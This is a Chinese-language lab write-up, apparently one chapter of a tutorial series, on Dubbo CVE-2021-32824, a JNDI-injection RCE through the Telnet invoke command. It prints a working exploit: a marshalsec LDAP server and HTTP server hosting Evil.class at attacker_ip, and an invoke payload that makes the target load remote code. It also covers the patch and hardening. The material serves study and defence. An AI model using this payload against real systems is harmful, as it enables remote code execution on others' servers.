Dubbo漏洞 - 12 CVE-2021-32824

CVE-2021-32824 — Telnet PojoUtils JNDI 注入 RCE

漏洞概述

CVE 编号:CVE-2021-32824

CVSS 评分:9.8(Critical)

影响版本:Dubbo 2.5.x ~ 2.6.9, 2.7.0 ~ 2.7.9

修复版本:2.7.10, 2.6.10

攻击入口:Dubbo Telnet 接口(端口 20880)

特点:通过 Telnet 的 invoke 命令直接攻击,非常简单

漏洞原理

背景:Dubbo Telnet

Dubbo Provider 在 20880 端口上同时支持 Dubbo 协议Telnet 命令

Telnet 命令用于运维调试,支持 lsinvokestatus 等命令

invoke 命令允许通过 Telnet 调用服务方法

默认开启,无认证

攻击链

1
2
3
4
5
6
7
8
9
telnet 127.0.0.1 20880
→ invoke DemoService.sayHello({"class":"恶意类","属性":"恶意值"})
→ Telnet Handler 解析 JSON 参数
→ PojoUtils.realize() ← 漏洞点
→ 实例化 "恶意类"
→ 调用 setter 方法设置属性
→ JndiConverter.setAsText("ldap://attacker/Evil")
→ new InitialContext().lookup("ldap://attacker/Evil")
→ 远程加载恶意类 → RCE

PojoUtils.realize() 的问题

PojoUtils.realize() 是 Dubbo 的一个工具方法

功能:将 Map/JSON 转换为 Java 对象

问题:没有限制可以实例化哪些类

攻击者通过 class 字段指定任意类名

PojoUtils 通过反射创建该类实例并调用 setter 方法

XBean JndiConverter 利用

1
2
3
4
5
6
// org.apache.xbean.propertyeditor.JndiConverter
public void setAsText(String text) {
// text 由攻击者控制
InitialContext ctx = new InitialContext();
ctx.lookup(text); // ← JNDI 注入!
}

攻击者控制 text = ldap://attacker:1389/Evil

JNDI lookup 会从攻击者的 LDAP 服务下载并执行恶意类

复现步骤

环境搭建

1
2
cd environments/cve-2021-32824
docker-compose up -d

步骤一:启动恶意 LDAP 服务

1
2
3
4
5
6
7
8
9
# 使用 marshalsec 启动 LDAP 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.LDAPRefServer \
"http://attacker_ip:8888/#Evil" 1389

# 在另一个终端启动 HTTP 服务托管 Evil.class
# Evil.java: static { Runtime.getRuntime().exec("touch /tmp/pwned"); }
cd evil_class_dir
python3 -m http.server 8888

步骤二:通过 Telnet 攻击

1
2
3
4
telnet 127.0.0.1 20880

# 连接后输入以下命令(注意:一行完成)
invoke com.vuln.api.DemoService.sayHello({"class":"org.apache.xbean.propertyeditor.JndiConverter","asText":"ldap://attacker_ip:1389/Evil"})

验证

1
docker exec dubbo-provider ls /tmp/pwned

补丁分析

Dubbo 2.7.10 修复

PojoUtils.realize() 增加了类型白名单

不再允许实例化任意类

Telnet invoke 命令增加了安全限制

修复方式

1
2
3
4
// 修复后的 PojoUtils.realize()
if (!isAllowedClass(className)) {
throw new IllegalArgumentException("Not allowed to create: " + className);
}

思考与延伸

Telnet 接口是一个被严重低估的攻击面

与 Dubbo 协议共用端口(20880),只要能连接 Dubbo 端口就能 Telnet

无需构造复杂的二进制协议包,纯文本命令就能 RCE

很多安全审计忽略了 Telnet 接口

建议:生产环境禁用 Telnet 命令

1
dubbo.provider.telnet=

上一章 目录 下一章
11-CVE-2021-30181 Dubbo漏洞 13-CVE-2021-43297